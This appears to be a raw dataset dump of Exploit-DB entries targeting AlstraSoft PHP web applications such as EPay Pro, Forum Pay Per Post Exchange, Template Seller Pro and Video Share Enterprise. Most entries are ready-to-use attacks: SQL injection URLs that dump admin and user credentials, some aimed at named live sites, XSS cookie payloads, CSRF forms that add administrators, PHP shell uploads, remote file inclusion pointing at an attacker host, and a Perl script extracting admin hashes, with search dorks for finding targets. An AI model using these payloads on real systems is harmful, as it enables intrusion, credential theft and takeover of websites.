deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25328
Description: Alstrasoft EPay Pro 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-04-01
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12974/info

It is reported that EPay Pro is affected by various cross-site scripting vulnerabilities.

These problems present themselves when malicious HTML and script code is sent to the application through multiple parameters.

This issue may allow for theft of cookie-based authentication credentials or other attacks.

EPay Pro version 2.0 is vulnerable to these issues. 

http://www.example.com/epal/?order_num=crap&payment=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&send=first&send=regular&send=priority&send=express
Pops cookie

http://www.example.com/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
Exploit-DB #25327
Description: Alstrasoft EPay Pro 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-04-01
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12973/info

EPay Pro is reported prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'view' parameter.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer.

EPay Pro version 2.0 is vulnerable to this issue. 

http://www.example.com/epal/index.php?view=http://www.example.com/
Exploit-DB #41245
Description: Alstrasoft Flippa Clone MarketPlace Script 4.10 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: AlstraSoft Flippa Clone MarketPlace v4.10 Script - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/flippa-clone-marketplace.htm
# Demo: http://www.revou.com/flippa/
# Version: 4.10
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SubAdmin Management [Add]:
<html>
<body>
<form name="frmSubadmin" action="http://localhost/[PATH]/subadminadd.php" method="POST" >
<td align="left" style="padding-left:15px" height="25" align="center">SubAdmin Management [Add]</td>
<input type="text" name="user_login" size="40" maxlength="50" class="textbox" value="">
<input type="password" name="user_passwd" size="40" maxlength="50" class="textbox"  value="">
<input type="submit" name="Sumbit" value="Save" class="stdButton">
</form>
</body>
</html>
# # # # #
Exploit-DB #41246
Description: Alstrasoft FMyLife Pro 1.02 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: AlstraSoft FMyLife Pro v1.02 Script - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/fmylife-pro.htm
# Demo: http://www.tellaboutit.com/
# Version: 1.02
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
<html>
<body>
<h2>Add an Administrator</h2>
<form action="http://localhost/[PATH]/admin/" method="post">
<div id="add-admin-form">
<input type="hidden" name="action" value="add-admin" />
<label for="username">Username:</label>
<input type="text" id="username" name="admin-username" value="" />
<div class="spacer"></div>
<label for="password">Password:</label>
<input type="password" id="password" name="admin-password" value="" />
<div class="spacer"></div>
<input type="submit" name="Sumbit" name="add-admin" id="add-admin" value="Add Administrator" />
</div>
</form>
</body>
</html>
# # # # #
Exploit-DB #6396
Description: Alstrasoft Forum - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-07
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# 
#  ---  QKrun1x  - skillfaker - FeDeReR - Optyx - Nuclear  
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l and P47r1ck 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com, p47r1ckro[at]gmail[dot]com
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: Altrasoft Forum (cat) Remote SQL Injection Vulnerability
#
#
# App Name:  AlstraSoft Forum 
# 
# App Home: http://www.alstrasoft.com/
# 
# Dork: inurl:index.php?menu=showcat=
# Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange
# 
# 
# 
# 
# 
# POC: For Admin id and pass
#      index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- 
# 
# P0C-2: For Users id and pass
#       index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+2,1--
# 
# Live Demo: (For admin)
# 
# http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin--
#  
# Live Demo: (For Users)
#  http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1--
#
#
# Admin panel is at http://site.com/admin 
################################################################ 
# Vuln Discovered 7th Sep 2008 

# milw0rm.com [2008-09-07]
Exploit-DB #6401
Description: Alstrasoft Forum - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-09
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: Alstrasoft Forum (forum_catview&catid) Remote SQL Injection Vulnerability
#
#
# App Name:  AlstraSoft Forum 
# 
# App Home: http://www.alstrasoft.com/
# 
# Dork1: Use ur brain
# Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange
# 
# 
# 
# 
# 
# POC: For Admin id and pass
#      index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(auser,0x3a,apass),7+from+admin--
# 
# P0C-2: For Users id and pass
#       index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(username,0x3a,upass),7+from+users--
# 
# Live Demo: (For admin)
# 
# http://payperpostpro.com/index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(auser,0x3a,apass),7+from+admin--
#  
# Live Demo: (For Users)
#  
# http://payperpostpro.com/index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(username,0x3a,upass),7+from+users--
#
# Admin panel is at http://site.com/admin 
################################################################ 
# Vuln Discovered 9th Sep 2008 

# milw0rm.com [2008-09-09]
Exploit-DB #4956
Description: Alstrasoft Forum Pay Per Post Exchange 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-21
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Forum Pay Per Post SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://alstrasoft.com/forum-pay-per-post-exchange.htm
DORK: N/A


DESCRIPTION: 
pull admin/user info from the database


EXPLOITS:
www.site.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(auser,0x3a,apass),7/**/FROM/**/admin/*
www.site.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(username,0x3a,uemail,0x3a,upass),7/**/FROM/**/users/*



NOTE/TIP: 
passwords are in plaintext.
admin login is at /admin/


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+		    Forum Pay Per Post SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-01-21]
Exploit-DB #41247
Description: Alstrasoft Forum Pay Per Post Exchange Script 2.01 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: AlstraSoft Forum Pay Per Post Exchange v2.01 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/forum-pay-per-post-exchange.htm
# Demo: http://blizsoft.com/forum/
# Version: 2.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?menu=forum_catview&catid=[SQL]
# # # # #
Exploit-DB #41242
Description: Alstrasoft ProTaxi Enterprise 3.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Alstrasoft ProTaxi Enterprise v3.5 Script - Arbitrary File Upload
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/protaxi-uber-clone.htm
# Demo: http://propertycarrots.com/taxi/public/user/signin
# Version: 3.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# Register as a passenger member.
# http://localhost/[PATH]/public/user/signup
# My Profile upload photo.php
# http://localhost/[PATH]/public/user/profile
# Right click on the photo to find the .php path.
# http://localhost/[PATH]/public/uploads/....php
# If you upload pictures again .php is deleted.
# # # # #
Exploit-DB #7101
Description: Alstrasoft SendIt Pro - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-12
Author: ZoRLu

Exploit:
[~] AlstraSoft SendIt Pro Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 12.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: "Powered by AlstraSoft SendIt Pro"
[~]
[~] my bug number now: 36
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

you save your shell like this: shell.php.pjpeg

warning: filetype not php.jpeg 

like this: filetype: php.pjpeg 

after you go site 

Recipients' e-mail address: write anything

Select file : select your_shell.php.pjpeg

Your e-mail address: email

Message to send to recipient : write anything

and click to send button after you see link and clik to that link

you go your_shell.php.pjpeg :

localhost/script/send/files/[id]shell.php.pjpeg

example for demo:

http://www.blizsoft.com/send/files/84019shell.php.pjpeg

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-12]
Exploit-DB #30368
Description: Alstrasoft Sms Text Messaging Enterprise 2.0 - '/admin/edituser.php?userid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-23
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25022/info
 
SMS Text Messaging Enterprise is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/admin/edituser.php?userid=Walltrapas"><script>alert()</script>
Exploit-DB #30367
Description: Alstrasoft Sms Text Messaging Enterprise 2.0 - '/admin/membersearch.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-07-23
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25022/info

SMS Text Messaging Enterprise is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/admin/membersearch.php?pagina=17&q=la&domain=Walltrapas.es%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E
http://www.example.com/admin/membersearch.php?q=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&B1=Submit
Exploit-DB #28444
Description: Alstrasoft Template Seller - 'Config[Template_Path]' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-30
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/19769/info

AlstraSoft Template Seller is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[Script Path]/payment/payment_result.php?config[template_path]=http://atacker.com/shell.txt?
Exploit-DB #27078
Description: Alstrasoft Template Seller Pro 3.25 - 'Fullview.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-13
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16233/info

Template Seller Pro is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The discoverer of this vulnerability did not specify which version of this application is vulnerable. 

http://www.example.com/template/fullview.php?tempid=[XSS]
Exploit-DB #26515
Description: Alstrasoft Template Seller Pro 3.25 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-11-15
Author: Robin Verton

Exploit:
source: https://www.securityfocus.com/bid/15441/info

Template Seller Pro is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/include/paymentplugins/payment_paypal.php?config[basepath]=http://www.example.com/[CODE]?
Exploit-DB #41249
Description: Alstrasoft Template Seller Pro 3.25e - 'tempid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
#!/usr/bin/perl -w
# # # # # 
# Exploit Title: AlstraSoft Template Seller Pro v3.25e Script (buy.php)- Remote SQL Injection Vulnerability
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/template.htm
# Demo: http://blizsoft.com/templates/
# Version: 3.25e
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|----------------------------------------------------|\n";
print "| Template Seller Pro v3.25e Remote SQL Injector     |\n";
print "| Author: Ihsan Sencan                               |\n";
print "| Author Web: http://ihsan.net                       |\n";
print "| Mail : ihsan[beygir]ihsan[nokta]net                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nInsert Target:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
$elicha="group_concat(user_name,char(58),user_password)";
$table="UserDB";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "buy.php?tempid=-1+union+select+1,2,3,".$elicha.",5,6,7,8+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !!\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}
Exploit-DB #6092
Description: Alstrasoft Video Share Enterprise 4.5.1 - 'UID' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-17
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Video Share Enterprise (UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.alstrasoft.com/videoshare.htm
|
| DorK   : Powered By AlstraSoft Video Share Enterprise
| DorK   : inurl:"album.php?UID="
| DorK   : inurl:"view_picture.php?viewkey="
|___________________________________________________|

Exploit:  


www.[target].com/Script/album.php?UID=-58+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--


L!VE DEMO: :

http://www.alstrahost.com/vs/album.php?UID=-58+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--

________________________
table_name : column_name


 adv:adv_status
 adv:adv_text
 adv:adv_name
 adv:adv_id
 audio:embed
 audio:be_rated
 audio:be_comment
 audio:filehome
 audio:rate
 audio:ratedby
 audio:fav_num
 audio:featured
 audio:com_num
 audio:viewnumber
 audio:vkey
 audio:country
 audio:location
 audio:record_date
 audio:adddate
 audio:addtime
 audio:type
 audio:duration
 audio:duration
 audio:flvdoname
 audio:vdoname
 audio:channel
 audio:keyword
 audio:featuredesc
 audio:UID
 audio:description
 audio:VID

________________________



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-17]
Exploit-DB #41244
Description: Alstrasoft Video Share Enterprise 4.72 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: AlstraSoft Video Share Enterprise v4.72 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/videoshare.htm
# Demo: http://www.alstrahost.com/vs/
# Version: 4.72
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/album.php?UID=[SQL]
# http://localhost/[PATH]/uprofile.php?UID=[SQL]
# http://localhost/[PATH]/gmembers.php?urlkey=[URLKEY]&gid=[SQL]
# http://localhost/[PATH]/channel_detail.php?chid=[SQL]
# # # # #
Exploit-DB #28436
Description: Alstrasoft Video Share Enterprise 4.x - 'MyajaxPHP.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/19724/info

AlstraSoft Video Share Enterprise is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Video Share Enterprise versions prior to 4.4 are vulnerable.

http://www.example.com/[Script Path]/ajax/myajaxphp.php?config[BASE_DIR]=http://www.example.com/shell.txt?